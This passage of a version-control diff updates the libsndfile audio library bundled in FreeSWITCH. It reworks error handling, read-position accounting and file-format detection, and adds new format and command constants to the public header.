-			if (datasize != sizeof (SF_BROADCAST_INFO) || data == NULL)
+			if (data == NULL)
+			{	psf->error = SFE_BAD_COMMAND_PARAM ;
 				return SF_FALSE ;
+				} ;
+#if 0
 			if (psf->broadcast_info == NULL)
 				return SF_FALSE ;
 			return broadcast_info_copy (data, psf->broadcast_info) ;
+#else
+			return broadcast_var_get (psf, data, datasize) ;
+#endif
 
 		case SFC_GET_INSTRUMENT :
 			if (datasize != sizeof (SF_INSTRUMENT) || data == NULL)
+			{	psf->error = SFE_BAD_COMMAND_PARAM ;
 				return SF_FALSE ;
+				} ;
 			if (psf->instrument == NULL)
 				return SF_FALSE ;
 			memcpy (data, psf->instrument, sizeof (SF_INSTRUMENT)) ;
@@ -1108,9 +1159,14 @@
 		case SFC_SET_INSTRUMENT :
 			/* If data has already been written this must fail. */
 			if (psf->have_written)
+			{	psf->error = SFE_CMD_HAS_DATA ;
 				return SF_FALSE ;
+				} ;
 			if (datasize != sizeof (SF_INSTRUMENT) || data == NULL)
+			{	psf->error = SFE_BAD_COMMAND_PARAM ;
 				return SF_FALSE ;
+				} ;
+
 			if (psf->instrument == NULL && (psf->instrument = psf_instrument_alloc ()) == NULL)
 			{	psf->error = SFE_MALLOC_FAILED ;
 				return SF_FALSE ;
@@ -1118,13 +1174,16 @@
 			memcpy (psf->instrument, data, sizeof (SF_INSTRUMENT)) ;
 			return SF_TRUE ;
 
+		case SFC_RAW_DATA_NEEDS_ENDSWAP :
+			return psf->data_endswap ;
+
 		default :
 			/* Must be a file specific command. Pass it on. */
 			if (psf->command)
 				return psf->command (psf, command, data, datasize) ;
 
 			psf_log_printf (psf, "*** sf_command : cmd = 0x%X\n", command) ;
-			return (psf->error = SFE_BAD_CONTROL_CMD) ;
+			return (psf->error = SFE_BAD_COMMAND_PARAM) ;
 		} ;
 
 	return 0 ;
@@ -1209,7 +1268,13 @@
 	if (psf->error)
 		return PSF_SEEK_ERROR ;
 
-	if (seek_from_start < 0 || seek_from_start > psf->sf.frames)
+	if (psf->mode == SFM_RDWR || psf->mode == SFM_WRITE)
+	{	if (seek_from_start < 0)
+		{	psf->error = SFE_BAD_SEEK ;
+			return PSF_SEEK_ERROR ;
+			} ;
+		}
+	else if (seek_from_start < 0 || seek_from_start > psf->sf.frames)
 	{	psf->error = SFE_BAD_SEEK ;
 		return PSF_SEEK_ERROR ;
 		} ;
@@ -1272,7 +1337,7 @@
 sf_count_t
 sf_read_raw		(SNDFILE *sndfile, void *ptr, sf_count_t bytes)
 {	SF_PRIVATE 	*psf ;
-	sf_count_t	count ;
+	sf_count_t	count, extra ;
 	int			bytewidth, blockwidth ;
 
 	VALIDATE_SNDFILE_AND_ASSIGN_PSF (sndfile, psf, 1) ;
@@ -1297,11 +1362,15 @@
 
 	count = psf_fread (ptr, 1, bytes, psf) ;
 
-	if (count < bytes)
-		psf_memset (((char*) ptr) + count, 0, bytes - count) ;
+	if (psf->read_current + count / blockwidth <= psf->sf.frames)
+		psf->read_current += count / blockwidth ;
+	else
+	{	count = (psf->sf.frames - psf->read_current) * blockwidth ;
+		extra = bytes - count ;
+		psf_memset (((char *) ptr) + count, 0, extra) ;
+		psf->read_current = psf->sf.frames ;
+		} ;
 
-	psf->read_current += count / blockwidth ;
-
 	psf->last_op = SFM_READ ;
 
 	return count ;
@@ -1343,22 +1412,17 @@
 
 	count = psf->read_short (psf, ptr, len) ;
 
-	if (psf->read_current + count / psf->sf.channels > psf->sf.frames)
+	if (psf->read_current + count / psf->sf.channels <= psf->sf.frames)
+		psf->read_current += count / psf->sf.channels ;
+	else
 	{	count = (psf->sf.frames - psf->read_current) * psf->sf.channels ;
 		extra = len - count ;
 		psf_memset (ptr + count, 0, extra * sizeof (short)) ;
 		psf->read_current = psf->sf.frames ;
 		} ;
 
-	psf->read_current += count / psf->sf.channels ;
-
 	psf->last_op = SFM_READ ;
 
-	if (psf->read_current > psf->sf.frames)
-	{	count = psf->sf.channels * (psf->read_current - psf->sf.frames) ;
-		psf->read_current = psf->sf.frames ;
-		} ;
-
 	return count ;
 } /* sf_read_short */
 
@@ -1390,22 +1454,17 @@
 
 	count = psf->read_short (psf, ptr, frames * psf->sf.channels) ;
 
-	if (psf->read_current + count / psf->sf.channels > psf->sf.frames)
+	if (psf->read_current + count / psf->sf.channels <= psf->sf.frames)
+		psf->read_current += count / psf->sf.channels ;
+	else
 	{	count = (psf->sf.frames - psf->read_current) * psf->sf.channels ;
 		extra = frames * psf->sf.channels - count ;
 		psf_memset (ptr + count, 0, extra * sizeof (short)) ;
 		psf->read_current = psf->sf.frames ;
 		} ;
 
-	psf->read_current += count / psf->sf.channels ;
-
 	psf->last_op = SFM_READ ;
 
-	if (psf->read_current > psf->sf.frames)
-	{	count = psf->sf.channels * (psf->read_current - psf->sf.frames) ;
-		psf->read_current = psf->sf.frames ;
-		} ;
-
 	return count / psf->sf.channels ;
 } /* sf_readf_short */
 
@@ -1445,22 +1504,17 @@
 
 	count = psf->read_int (psf, ptr, len) ;
 
-	if (psf->read_current + count / psf->sf.channels > psf->sf.frames)
+	if (psf->read_current + count / psf->sf.channels <= psf->sf.frames)
+		psf->read_current += count / psf->sf.channels ;
+	else
 	{	count = (psf->sf.frames - psf->read_current) * psf->sf.channels ;
 		extra = len - count ;
 		psf_memset (ptr + count, 0, extra * sizeof (int)) ;
 		psf->read_current = psf->sf.frames ;
 		} ;
 
-	psf->read_current += count / psf->sf.channels ;
-
 	psf->last_op = SFM_READ ;
 
-	if (psf->read_current > psf->sf.frames)
-	{	count = psf->sf.channels * (psf->read_current - psf->sf.frames) ;
-		psf->read_current = psf->sf.frames ;
-		} ;
-
 	return count ;
 } /* sf_read_int */
 
@@ -1492,22 +1546,17 @@
 
 	count = psf->read_int (psf, ptr, frames * psf->sf.channels) ;
 
-	if (psf->read_current + count / psf->sf.channels > psf->sf.frames)
+	if (psf->read_current + count / psf->sf.channels <= psf->sf.frames)
+		psf->read_current += count / psf->sf.channels ;
+	else
 	{	count = (psf->sf.frames - psf->read_current) * psf->sf.channels ;
 		extra = frames * psf->sf.channels - count ;
 		psf_memset (ptr + count, 0, extra * sizeof (int)) ;
 		psf->read_current = psf->sf.frames ;
 		} ;
 
-	psf->read_current += count / psf->sf.channels ;
-
 	psf->last_op = SFM_READ ;
 
-	if (psf->read_current > psf->sf.frames)
-	{	count = psf->sf.channels * (psf->read_current - psf->sf.frames) ;
-		psf->read_current = psf->sf.frames ;
-		} ;
-
 	return count / psf->sf.channels ;
 } /* sf_readf_int */
 
@@ -1547,22 +1596,17 @@
 
 	count = psf->read_float (psf, ptr, len) ;
 
-	if (psf->read_current + count / psf->sf.channels > psf->sf.frames)
+	if (psf->read_current + count / psf->sf.channels <= psf->sf.frames)
+		psf->read_current += count / psf->sf.channels ;
+	else
 	{	count = (psf->sf.frames - psf->read_current) * psf->sf.channels ;
 		extra = len - count ;
 		psf_memset (ptr + count, 0, extra * sizeof (float)) ;
 		psf->read_current = psf->sf.frames ;
 		} ;
 
-	psf->read_current += count / psf->sf.channels ;
-
 	psf->last_op = SFM_READ ;
 
-	if (psf->read_current > psf->sf.frames)
-	{	count = psf->sf.channels * (psf->read_current - psf->sf.frames) ;
-		psf->read_current = psf->sf.frames ;
-		} ;
-
 	return count ;
 } /* sf_read_float */
 
@@ -1594,22 +1638,17 @@
 
 	count = psf->read_float (psf, ptr, frames * psf->sf.channels) ;
 
-	if (psf->read_current + count / psf->sf.channels > psf->sf.frames)
+	if (psf->read_current + count / psf->sf.channels <= psf->sf.frames)
+		psf->read_current += count / psf->sf.channels ;
+	else
 	{	count = (psf->sf.frames - psf->read_current) * psf->sf.channels ;
 		extra = frames * psf->sf.channels - count ;
 		psf_memset (ptr + count, 0, extra * sizeof (float)) ;
 		psf->read_current = psf->sf.frames ;
 		} ;
 
-	psf->read_current += count / psf->sf.channels ;
-
 	psf->last_op = SFM_READ ;
 
-	if (psf->read_current > psf->sf.frames)
-	{	count = psf->sf.channels * (psf->read_current - psf->sf.frames) ;
-		psf->read_current = psf->sf.frames ;
-		} ;
-
 	return count / psf->sf.channels ;
 } /* sf_readf_float */
 
@@ -1649,22 +1688,17 @@
 
 	count = psf->read_double (psf, ptr, len) ;
 
-	if (psf->read_current + count / psf->sf.channels > psf->sf.frames)
+	if (psf->read_current + count / psf->sf.channels <= psf->sf.frames)
+		psf->read_current += count / psf->sf.channels ;
+	else
 	{	count = (psf->sf.frames - psf->read_current) * psf->sf.channels ;
 		extra = len - count ;
 		psf_memset (ptr + count, 0, extra * sizeof (double)) ;
 		psf->read_current = psf->sf.frames ;
 		} ;
 
-	psf->read_current += count / psf->sf.channels ;
-
 	psf->last_op = SFM_READ ;
 
-	if (psf->read_current > psf->sf.frames)
-	{	count = psf->sf.channels * (psf->read_current - psf->sf.frames) ;
-		psf->read_current = psf->sf.frames ;
-		} ;
-
 	return count ;
 } /* sf_read_double */
 
@@ -1696,22 +1730,17 @@
 
 	count = psf->read_double (psf, ptr, frames * psf->sf.channels) ;
 
-	if (psf->read_current + count / psf->sf.channels > psf->sf.frames)
+	if (psf->read_current + count / psf->sf.channels <= psf->sf.frames)
+		psf->read_current += count / psf->sf.channels ;
+	else
 	{	count = (psf->sf.frames - psf->read_current) * psf->sf.channels ;
 		extra = frames * psf->sf.channels - count ;
 		psf_memset (ptr + count, 0, extra * sizeof (double)) ;
 		psf->read_current = psf->sf.frames ;
 		} ;
 
-	psf->read_current += count / psf->sf.channels ;
-
 	psf->last_op = SFM_READ ;
 
-	if (psf->read_current > psf->sf.frames)
-	{	count = psf->sf.channels * (psf->read_current - psf->sf.frames) ;
-		psf->read_current = psf->sf.frames ;
-		} ;
-
 	return count / psf->sf.channels ;
 } /* sf_readf_double */
 
@@ -2129,9 +2158,6 @@
 	char buffer [16] ;
 	int format = 0 ;
 
-	if (psf->filename == NULL)
-		return 0 ;
-
 	if ((cptr = strrchr (psf->filename, '.')) == NULL)
 		return 0 ;
 
@@ -2161,11 +2187,17 @@
 		psf->sf.samplerate = 8000 ;
 		format = SF_FORMAT_RAW | SF_FORMAT_ULAW ;
 		}
-	else if (strcmp (cptr, "vox") == 0)
+
+	else if (strcmp (cptr, "vox") == 0 || strcmp (cptr, "vox8") == 0)
 	{	psf->sf.channels = 1 ;
 		psf->sf.samplerate = 8000 ;
 		format = SF_FORMAT_RAW | SF_FORMAT_VOX_ADPCM ;
 		}
+	else if (strcmp (cptr, "vox6") == 0)
+	{	psf->sf.channels = 1 ;
+		psf->sf.samplerate = 6000 ;
+		format = SF_FORMAT_RAW | SF_FORMAT_VOX_ADPCM ;
+		}
 	else if (strcmp (cptr, "gsm") == 0)
 	{	psf->sf.channels = 1 ;
 		psf->sf.samplerate = 8000 ;
@@ -2173,7 +2205,7 @@
 		}
 
 	/* For RAW files, make sure the dataoffset if set correctly. */
-	if ((format & SF_FORMAT_TYPEMASK) == SF_FORMAT_RAW)
+	if ((SF_CONTAINER (format)) == SF_FORMAT_RAW)
 		psf->dataoffset = 0 ;
 
 	return format ;
@@ -2240,7 +2272,7 @@
 	if (buffer [0] == MAKE_MARKER ('c', 'a', 'f', 'f') && buffer [2] == MAKE_MARKER ('d', 'e', 's', 'c'))
 		return SF_FORMAT_CAF ;
 
-	if (ENABLE_EXPERIMENTAL_CODE && buffer [0] == MAKE_MARKER ('O', 'g', 'g', 'S'))
+	if (buffer [0] == MAKE_MARKER ('O', 'g', 'g', 'S'))
 		return SF_FORMAT_OGG ;
 
 	if (buffer [0] == MAKE_MARKER ('A', 'L', 'a', 'w') && buffer [1] == MAKE_MARKER ('S', 'o', 'u', 'n')
@@ -2257,6 +2289,9 @@
 	if ((buffer [0] & MAKE_MARKER (0xFF, 0xFF, 0x80, 0xFF)) == MAKE_MARKER (0xF0, 0x7E, 0, 0x01))
 		return SF_FORMAT_SDS ;
 
+	if ((buffer [0] & MAKE_MARKER (0xFF, 0xFF, 0, 0)) == MAKE_MARKER (1, 4, 0, 0))
+		return SF_FORMAT_MPC2K ;
+
 	if (buffer [0] == MAKE_MARKER ('C', 'A', 'T', ' ') && buffer [2] == MAKE_MARKER ('R', 'E', 'X', '2'))
 		return SF_FORMAT_REX2 ;
 
@@ -2283,6 +2318,9 @@
 	if (buffer [0] == MAKE_MARKER ('2', 'B', 'I', 'T'))
 		return SF_FORMAT_AVR ;
 
+	if (buffer [0] == MAKE_MARKER ('R', 'F', '6', '4') && buffer [2] == MAKE_MARKER ('W', 'A', 'V', 'E'))
+		return SF_FORMAT_RF64 ;
+
 	/* This must be the second last one. */
 	if (psf->filelength > 0 && (format = try_resource_fork (psf, SFM_READ)) != 0)
 		return format ;
@@ -2299,9 +2337,9 @@
 		return 0 ;
 	if (sfinfo->channels < 1)
 		return 0 ;
-	if ((sfinfo->format & SF_FORMAT_TYPEMASK) == 0)
+	if ((SF_CONTAINER (sfinfo->format)) == 0)
 		return 0 ;
-	if ((sfinfo->format & SF_FORMAT_SUBMASK) == 0)
+	if ((SF_CODEC (sfinfo->format)) == 0)
 		return 0 ;
 	if (sfinfo->sections < 1)
 		return 0 ;
@@ -2329,7 +2367,7 @@
 
 static void
 save_header_info (SF_PRIVATE *psf)
-{	LSF_SNPRINTF (sf_logbuffer, sizeof (sf_logbuffer), "%s", psf->logbuffer) ;
+{	snprintf (sf_logbuffer, sizeof (sf_logbuffer), "%s", psf->logbuffer) ;
 } /* save_header_info */
 
 static void
@@ -2337,16 +2375,16 @@
 {	const char *ccptr ;
 	char *cptr ;
 
-	LSF_SNPRINTF (psf->filepath, sizeof (psf->filepath), "%s", path) ;
+	snprintf (psf->filepath, sizeof (psf->filepath), "%s", path) ;
 	if ((ccptr = strrchr (path, '/')) || (ccptr = strrchr (path, '\\')))
 		ccptr ++ ;
 	else
 		ccptr = path ;
 
-	LSF_SNPRINTF (psf->filename, sizeof (psf->filename), "%s", ccptr) ;
+	snprintf (psf->filename, sizeof (psf->filename), "%s", ccptr) ;
 
 	/* Now grab the directory. */
-	LSF_SNPRINTF (psf->directory, sizeof (psf->directory), "%s", path) ;
+	snprintf (psf->directory, sizeof (psf->directory), "%s", path) ;
 	if ((cptr = strrchr (psf->directory, '/')) || (cptr = strrchr (psf->directory, '\\')))
 		cptr [1] = 0 ;
 	else
@@ -2360,14 +2398,14 @@
 
 static int
 psf_close (SF_PRIVATE *psf)
-{	int	error ;
+{	int	error = 0 ;
 
 	if (psf->codec_close)
 		error = psf->codec_close (psf) ;
 	if (psf->container_close)
 		error = psf->container_close (psf) ;
 
-	psf_fclose (psf) ;
+	error = psf_fclose (psf) ;
 	psf_close_rsrc (psf) ;
 
 	if (psf->container_data)
@@ -2385,8 +2423,8 @@
 	if (psf->peak_info)
 		free (psf->peak_info) ;
 
-	if (psf->broadcast_info)
-		free (psf->broadcast_info) ;
+	if (psf->broadcast_var)
+		free (psf->broadcast_var) ;
 
 	if (psf->loop_info)
 		free (psf->loop_info) ;
@@ -2398,25 +2436,37 @@
 		free (psf->channel_map) ;
 
 	if (psf->format_desc)
-	{	memset (psf->format_desc, 0, strlen (psf->format_desc)) ;
+	{	psf->format_desc [0] = 0 ;
 		free (psf->format_desc) ;
 		} ;
 
 	memset (psf, 0, sizeof (SF_PRIVATE)) ;
 	free (psf) ;
 
-	return 0 ;
+	return error ;
 } /* psf_close */
 
-static int
+static SNDFILE *
 psf_open_file (SF_PRIVATE *psf, int mode, SF_INFO *sfinfo)
 {	int		error, format ;
 
+	sf_errno = error = 0 ;
+	sf_logbuffer [0] = 0 ;
+
+	if (psf->error)
+	{	error = psf->error ;
+		goto error_exit ;
+		} ;
+
 	if (mode != SFM_READ && mode != SFM_WRITE && mode != SFM_RDWR)
-		return SFE_BAD_OPEN_MODE ;
+	{	error = SFE_BAD_OPEN_MODE ;
+		goto error_exit ;
+		} ;
 
 	if (sfinfo == NULL)
-		return SFE_BAD_SF_INFO_PTR ;
+	{	error = SFE_BAD_SF_INFO_PTR ;
+		goto error_exit ;
+		} ;
 
 	/* Zero out these fields. */
 	sfinfo->frames = 0 ;
@@ -2424,17 +2474,16 @@
 	sfinfo->seekable = 0 ;
 
 	if (mode == SFM_READ)
-	{	if ((sfinfo->format & SF_FORMAT_TYPEMASK) == SF_FORMAT_RAW)
+	{	if ((SF_CONTAINER (sfinfo->format)) == SF_FORMAT_RAW)
 		{	if (sf_format_check (sfinfo) == 0)
-				return SFE_RAW_BAD_FORMAT ;
+			{	error = SFE_RAW_BAD_FORMAT ;
+				goto error_exit ;
+				} ;
 			}
 		else
 			memset (sfinfo, 0, sizeof (SF_INFO)) ;
 		} ;
 
-	sf_errno = error = 0 ;
-	sf_logbuffer [0] = 0 ;
-
 	memcpy (&(psf->sf), sfinfo, sizeof (SF_INFO)) ;
 
 	psf->Magick 		= SNDFILE_MAGICK ;
@@ -2451,6 +2500,9 @@
 	psf->float_int_mult = 0 ;
 	psf->float_max		= -1.0 ;
 
+	/* An attempt at a per SF_PRIVATE unique id. */
+	psf->unique_id		= psf_rand_int32 () ;
+
 	psf->sf.sections = 1 ;
 
 	psf->is_pipe = psf_is_pipe (psf) ;
@@ -2471,7 +2523,8 @@
 		{	case SFM_READ :
 				if (psf->filelength < 44)
 				{	psf_log_printf (psf, "Short filelength: %D (fileoffset: %D)\n", psf->filelength, psf->fileoffset) ;
-					return SFE_BAD_OFFSET ;
+					error = SFE_BAD_OFFSET ;
+					goto error_exit ;
 					} ;
 				break ;
 
@@ -2482,7 +2535,8 @@
 				break ;
 
 			case SFM_RDWR :
-				return SFE_NO_EMBEDDED_RDWR ;
+				error = SFE_NO_EMBEDDED_RDWR ;
+				goto error_exit ;
 			} ;
 
 		psf_log_printf (psf, "Embedded file offset : %D\n", psf->fileoffset) ;
@@ -2497,10 +2551,21 @@
 	{	/* If the file is being opened for write or RDWR and the file is currently
 		** empty, then the SF_INFO struct must contain valid data.
 		*/
+		if ((SF_CONTAINER (psf->sf.format)) == 0)
+		{	error = SFE_ZERO_MAJOR_FORMAT ;
+			goto error_exit ;
+			} ;
+		if ((SF_CONTAINER (psf->sf.format)) == 0)
+		{	error = SFE_ZERO_MINOR_FORMAT ;
+			goto error_exit ;
+			} ;
+
 		if (sf_format_check (&(psf->sf)) == 0)
-			return SFE_BAD_OPEN_FORMAT ;
+		{	error = SFE_BAD_OPEN_FORMAT ;
+			goto error_exit ;
+			} ;
 		}
-	else if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_RAW)
+	else if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_RAW)
 	{	/* If type RAW has not been specified then need to figure out file type. */
 		psf->sf.format = guess_file_type (psf) ;
 
@@ -2512,7 +2577,7 @@
 	psf->last_op = psf->mode ;
 
 	/* Set bytewidth if known. */
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 		case SF_FORMAT_PCM_U8 :
 		case SF_FORMAT_ULAW :
@@ -2541,7 +2606,7 @@
 		} ;
 
 	/* Call the initialisation function for the relevant file type. */
-	switch (psf->sf.format & SF_FORMAT_TYPEMASK)
+	switch (SF_CONTAINER (psf->sf.format))
 	{	case	SF_FORMAT_WAV :
 		case	SF_FORMAT_WAVEX :
 				error = wav_open (psf) ;
@@ -2563,6 +2628,10 @@
 				error = w64_open (psf) ;
 				break ;
 
+		case	SF_FORMAT_RF64 :
+				error = rf64_open (psf) ;
+				break ;
+
 		/* Lite remove start */
 		case	SF_FORMAT_PAF :
 				error = paf_open (psf) ;
@@ -2644,6 +2713,10 @@
 				error = caf_open (psf) ;
 				break ;
 
+		case	SF_FORMAT_MPC2K :
+				error = mpc2k_open (psf) ;
+				break ;
+
 		/* Lite remove end */
 
 		default :
@@ -2651,57 +2724,76 @@
 		} ;
 
 	if (error)
-	{	switch (error)
-		{	case SF_ERR_SYSTEM :
-			case SF_ERR_UNSUPPORTED_ENCODING :
-			case SFE_UNIMPLEMENTED :
-				break ;
+		goto error_exit ;
 
-			default :
-				psf_log_printf (psf, "Parse error : %s\n", sf_error_number (error)) ;
-				error = SF_ERR_MALFORMED_FILE ;
-			} ;
-
-		return error ;
-		} ;
-
 	/* For now, check whether embedding is supported. */
-	format = psf->sf.format & SF_FORMAT_TYPEMASK ;
+	format = SF_CONTAINER (psf->sf.format) ;
 	if (psf->fileoffset > 0 &&
 			(format != SF_FORMAT_WAV) && (format != SF_FORMAT_WAVEX) &&
 			(format != SF_FORMAT_AIFF) && (format != SF_FORMAT_AU)
 			)
-		return SFE_NO_EMBED_SUPPORT ;
+	{	error = SFE_NO_EMBED_SUPPORT ;
+		goto error_exit ;
+		} ;
 
 	if (psf->fileoffset > 0)
 		psf_log_printf (psf, "Embedded file length : %D\n", psf->filelength) ;
 
 	if (mode == SFM_RDWR && sf_format_check (&(psf->sf)) == 0)
-		return SFE_BAD_RDWR_FORMAT ;
+	{	error = SFE_BAD_MODE_RW ;
+		goto error_exit ;
+		} ;
 
 	if (validate_sfinfo (&(psf->sf)) == 0)
 	{	psf_log_SF_INFO (psf) ;
 		save_header_info (psf) ;
-		return SFE_BAD_SF_INFO ;
+		error = SFE_BAD_SF_INFO ;
+		goto error_exit ;
 		} ;
 
 	if (validate_psf (psf) == 0)
 	{	save_header_info (psf) ;
-		return SFE_INTERNAL ;
+		error = SFE_INTERNAL ;
+		goto error_exit ;
 		} ;
 
 	psf->read_current = 0 ;
-	psf->write_current = (psf->mode == SFM_RDWR) ? psf->sf.frames : 0 ;
+	psf->write_current = 0 ;
+	if (psf->mode == SFM_RDWR)
+	{	psf->write_current = psf->sf.frames ;
+		psf->have_written = psf->sf.frames > 0 ? SF_TRUE : SF_FALSE ;
+		} ;
 
 	memcpy (sfinfo, &(psf->sf), sizeof (SF_INFO)) ;
 
-	return 0 ;
+	memcpy (sfinfo, &(psf->sf), sizeof (SF_INFO)) ;
+
+	return (SNDFILE *) psf ;
+
+error_exit :
+	sf_errno = error ;
+
+	if (error == SFE_SYSTEM)
+		snprintf (sf_syserr, sizeof (sf_syserr), "%s", psf->syserr) ;
+	snprintf (sf_logbuffer, sizeof (sf_logbuffer), "%s", psf->logbuffer) ;
+
+	switch (error)
+	{	case SF_ERR_SYSTEM :
+		case SF_ERR_UNSUPPORTED_ENCODING :
+		case SFE_UNIMPLEMENTED :
+			break ;
+
+		case SFE_RAW_BAD_FORMAT :
+			break ;
+
+		default :
+			if (psf->mode == SFM_READ)
+			{	psf_log_printf (psf, "Parse error : %s\n", sf_error_number (error)) ;
+				error = SF_ERR_MALFORMED_FILE ;
+				} ;
+		} ;
+
+	psf_close (psf) ;
+	return NULL ;
 } /* psf_open_file */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: cd4f9e91-a8ec-4154-9bf6-fe4b8c69a615
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/sndfile.h.in (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/sndfile.h.in	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/sndfile.h.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -30,15 +30,8 @@
 #define	SNDFILE_1
 
 #include <stdio.h>
+#include <sys/types.h>
 
-/* For the Metrowerks CodeWarrior Pro Compiler (mainly MacOS) */
-
-#if	(defined (__MWERKS__))
-#include	<unix.h>
-#else
-#include	<sys/types.h>
-#endif
-
 #ifdef __cplusplus
 extern "C" {
 #endif	/* __cplusplus */
@@ -73,6 +66,10 @@
 	SF_FORMAT_SD2			= 0x160000,		/* Sound Designer 2 */
 	SF_FORMAT_FLAC			= 0x170000,		/* FLAC lossless file format */
 	SF_FORMAT_CAF			= 0x180000,		/* Core Audio File format */
+	SF_FORMAT_WVE			= 0x190000,		/* Psion WVE format */
+	SF_FORMAT_OGG			= 0x200000,		/* Xiph OGG container */
+	SF_FORMAT_MPC2K			= 0x210000,		/* Akai MPC 2000 sampler */
+	SF_FORMAT_RF64			= 0x220000,		/* RF64 WAV file */
 
 	/* Subtypes from here on. */
 
@@ -106,6 +103,8 @@
 	SF_FORMAT_DPCM_8		= 0x0050,		/* 8 bit differential PCM (XI only) */
 	SF_FORMAT_DPCM_16		= 0x0051,		/* 16 bit differential PCM (XI only) */
 
+	SF_FORMAT_VORBIS		= 0x0060,		/* Xiph Vorbis encoding. */
+
 	/* Endian-ness options. */
 
 	SF_ENDIAN_FILE			= 0x00000000,	/* Default file endian-ness. */
@@ -127,12 +126,15 @@
 enum
 {	SFC_GET_LIB_VERSION				= 0x1000,
 	SFC_GET_LOG_INFO				= 0x1001,
+	SFC_GET_CURRENT_SF_INFO			= 0x1002,
 
+
 	SFC_GET_NORM_DOUBLE				= 0x1010,
 	SFC_GET_NORM_FLOAT				= 0x1011,
 	SFC_SET_NORM_DOUBLE				= 0x1012,
 	SFC_SET_NORM_FLOAT				= 0x1013,
 	SFC_SET_SCALE_FLOAT_INT_READ	= 0x1014,
+	SFC_SET_SCALE_INT_FLOAT_WRITE	= 0x1015,
 
 	SFC_GET_SIMPLE_FORMAT_COUNT		= 0x1020,
 	SFC_GET_SIMPLE_FORMAT			= 0x1021,
@@ -152,6 +154,7 @@
 	SFC_GET_MAX_ALL_CHANNELS		= 0x1045,
 
 	SFC_SET_ADD_PEAK_CHUNK			= 0x1050,
+	SFC_SET_ADD_HEADER_PAD_CHUNK	= 0x1051,
 
 	SFC_UPDATE_HEADER_NOW			= 0x1060,
 	SFC_SET_UPDATE_HEADER_AUTO		= 0x1061,
@@ -179,6 +182,17 @@
 	SFC_GET_BROADCAST_INFO			= 0x10F0,
 	SFC_SET_BROADCAST_INFO			= 0x10F1,
 
+	SFC_GET_CHANNEL_MAP_INFO		= 0x1100,
+	SFC_SET_CHANNEL_MAP_INFO		= 0x1101,
+
+	SFC_RAW_DATA_NEEDS_ENDSWAP		= 0x1110,
+
+	/* Support for Wavex Ambisonics Format */
+	SFC_WAVEX_SET_AMBISONIC			= 0x1200,
+	SFC_WAVEX_GET_AMBISONIC			= 0x1201,
+
+	SFC_SET_VBR_ENCODING_QUALITY	= 0x1300,
+
 	/* Following commands for testing only. */
 	SFC_TEST_IEEE_FLOAT_REPLACE		= 0x6001,
 
@@ -205,7 +219,9 @@
 	SF_STR_SOFTWARE					= 0x03,
 	SF_STR_ARTIST					= 0x04,
 	SF_STR_COMMENT					= 0x05,
-	SF_STR_DATE						= 0x06
+	SF_STR_DATE						= 0x06,
+	SF_STR_ALBUM					= 0x07,
+	SF_STR_LICENSE					= 0x08
 } ;
 
 /*
@@ -214,7 +230,7 @@
 */
 
 #define	SF_STR_FIRST	SF_STR_TITLE
-#define	SF_STR_LAST		SF_STR_DATE
+#define	SF_STR_LAST		SF_STR_LICENSE
 
 enum
 {	/* True and false */
@@ -224,7 +240,10 @@
 	/* Modes for opening files. */
 	SFM_READ	= 0x10,
 	SFM_WRITE	= 0x20,
-	SFM_RDWR	= 0x30
+	SFM_RDWR	= 0x30,
+
+	SF_AMBISONIC_NONE		= 0x40,
+	SF_AMBISONIC_B_FORMAT	= 0x41
 } ;
 
 /* Public error values. These are guaranteed to remain unchanged for the duration
@@ -241,19 +260,56 @@
 	SF_ERR_UNSUPPORTED_ENCODING	= 4
 } ;
 
+
+/* Channel map values (used with SFC_SET/GET_CHANNEL_MAP).
+*/
+
+enum
+{	SF_CHANNEL_MAP_INVALID = 0,
+	SF_CHANNEL_MAP_MONO = 1,
+	SF_CHANNEL_MAP_LEFT,
+	SF_CHANNEL_MAP_RIGHT,
+	SF_CHANNEL_MAP_CENTER,
+	SF_CHANNEL_MAP_FRONT_LEFT,
+	SF_CHANNEL_MAP_FRONT_RIGHT,
+	SF_CHANNEL_MAP_FRONT_CENTER,
+	SF_CHANNEL_MAP_REAR_CENTER,
+	SF_CHANNEL_MAP_REAR_LEFT,
+	SF_CHANNEL_MAP_REAR_RIGHT,
+	SF_CHANNEL_MAP_LFE,
+	SF_CHANNEL_MAP_FRONT_LEFT_OF_CENTER,
+	SF_CHANNEL_MAP_FRONT_RIGHT_OF_CENTER,
+	SF_CHANNEL_MAP_SIDE_LEFT,
+	SF_CHANNEL_MAP_SIDE_RIGHT,
+	SF_CHANNEL_MAP_TOP_CENTER,
+	SF_CHANNEL_MAP_TOP_FRONT_LEFT,
+	SF_CHANNEL_MAP_TOP_FRONT_RIGHT,
+	SF_CHANNEL_MAP_TOP_FRONT_CENTER,
+	SF_CHANNEL_MAP_TOP_REAR_LEFT,
+	SF_CHANNEL_MAP_TOP_REAR_RIGHT,
+	SF_CHANNEL_MAP_TOP_REAR_CENTER
+} ;
+
+
 /* A SNDFILE* pointer can be passed around much like stdio.h's FILE* pointer. */
 
 typedef	struct SNDFILE_tag	SNDFILE ;
 
-/* The following typedef is system specific and is defined when libsndfile is.
-** compiled. sf_count_t can be one of loff_t (Linux), off_t (*BSD),
-** off64_t (Solaris), __int64_t (Win32) etc.
+/* The following typedef is system specific and is defined when libsndfile is
+** compiled. sf_count_t can be one of loff_t (Linux), off_t (*BSD), off64_t 
+** (Solaris), __int64_t (Win32) etc. On windows, we need to allow the same
+** header file to be compiler by both GCC and the microsoft compiler.
 */
 
+#ifdef _MSCVER
+typedef __int64_t	sf_count_t ;
+#define SF_COUNT_MAX		0x7fffffffffffffffi64
+#else
 typedef @TYPEOF_SF_COUNT_T@	sf_count_t ;
-
